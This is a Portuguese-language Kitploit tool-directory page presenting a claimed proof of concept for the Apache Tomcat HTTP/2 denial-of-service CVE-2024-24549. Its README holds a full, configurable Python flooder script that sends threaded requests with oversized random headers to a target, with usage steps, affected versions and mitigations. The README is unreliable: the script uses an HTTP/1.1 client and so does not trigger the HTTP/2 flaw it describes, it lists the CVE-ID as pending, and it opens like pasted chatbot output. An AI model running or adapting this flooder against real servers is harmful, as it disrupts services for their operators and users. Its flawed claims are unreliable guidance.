Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-24549 — Script Python de prova de conceito para CVE-2024-24549 demonstrando negação de serviço HTTP/2 do Apache Tomcat via cabeçalhos superdimensionados que esgotam os recursos do servidor. | Kitploit
Ferramentas/GitHubGitHub/abdurahmon3236/cve-2024-24549
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoRed Teaming
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

Script Python de prova de conceito para CVE-2024-24549 demonstrando negação de serviço HTTP/2 do Apache Tomcat via cabeçalhos superdimensionados que esgotam os recursos do servidor.

Ver Repositório
102há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aqui está um README.md para uma Prova de Conceito (PoC) demonstrando a vulnerabilidade de Negação de Serviço (DoS) no Apache Tomcat devido à validação inadequada de entrada de requisições HTTP/2:


Prova de Conceito (PoC) para Vulnerabilidade de Negação de Serviço (DoS) no Apache Tomcat

Este repositório contém um script de Prova de Conceito (PoC) demonstrando uma vulnerabilidade de Negação de Serviço (DoS) no Apache Tomcat. A vulnerabilidade surge da validação inadequada de entrada de requisições HTTP/2, levando a potenciais condições de DoS.

Descrição da Vulnerabilidade

CVE-ID: (Pendente)

Visão Geral: As versões do Apache Tomcat de 11.0.0-M1 até 11.0.0-M16, 10.1.0-M1 até 10.1.18, 9.0.0-M1 até 9.0.85 e 8.5.0 até 8.5.98 são vulneráveis a um ataque de Negação de Serviço. O problema ocorre ao processar requisições HTTP/2 com cabeçalhos que excedem os limites configurados. O stream HTTP/2 não é redefinido até que todos os cabeçalhos tenham sido processados, podendo levar à exaustão de recursos.

Versões Afetadas:

  • Apache Tomcat 11.0.0-M1 até 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 até 10.1.18
  • Apache Tomcat 9.0.0-M1 até 9.0.85
  • Apache Tomcat 8.5.0 até 8.5.98

Mitigações:

  • Atualize para as versões 11.0.0-M17, 10.1.19, 9.0.86 ou 8.5.99 ou posteriores do Apache Tomcat.

Detalhes da PoC

Este script PoC demonstra como explorar a vulnerabilidade de DoS enviando requisições HTTP/2 que excedem os limites configurados de cabeçalhos. O script envia um grande número de requisições para exaurir os recursos do servidor.

Script PoC

root@kitploit:~
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

Explicação

  1. Configuração: Defina host para o endereço do servidor alvo e port para a porta apropriada (tipicamente 443 para HTTPS). Ajuste num_requests para controlar o número de requisições enviadas.
  2. Criar Conexão: O script estabelece uma conexão HTTPS com o servidor alvo.
  3. Cabeçalhos: Um valor grande de cabeçalho é usado para exceder os limites configurados e disparar a vulnerabilidade.
  4. Enviar Requisições: O script envia múltiplas requisições POST HTTP/2 com cabeçalhos excessivamente grandes para o servidor alvo.
  5. Imprimir Status: Imprime o código de status de cada requisição para monitorar o impacto.

Considerações Importantes

  • Permissões: Certifique-se de ter permissão explícita para realizar este teste no servidor alvo. Testes não autorizados são ilegais e antiéticos.
  • Ambiente de Teste: Realize os testes em um ambiente controlado para evitar interrupções nos serviços de produção.
  • Uso Ético: Use esta PoC de forma responsável e apenas em contextos autorizados.

Mitigação

Para mitigar esta vulnerabilidade:

  1. Atualize o Apache Tomcat: Atualize para as versões 11.0.0-M17, 10.1.19, 9.0.86 ou 8.5.99 ou posteriores.
  2. Revise a Configuração: Ajuste as configurações do servidor para lidar de forma mais eficaz com requisições HTTP/2 grandes ou maliciosas.
  3. Monitore Recursos: Implemente monitoramento para detectar e responder a padrões incomuns de requisições que possam indicar um ataque DoS.

Para mais informações sobre como proteger sua instalação do Apache Tomcat, consulte a documentação oficial do Apache Tomcat.


Este README.md fornece uma visão geral da vulnerabilidade, o script PoC e instruções para mitigação. Certifique-se de manusear esta PoC de forma responsável e apenas em sistemas onde você tenha autorização explícita.

Baixar ferramenta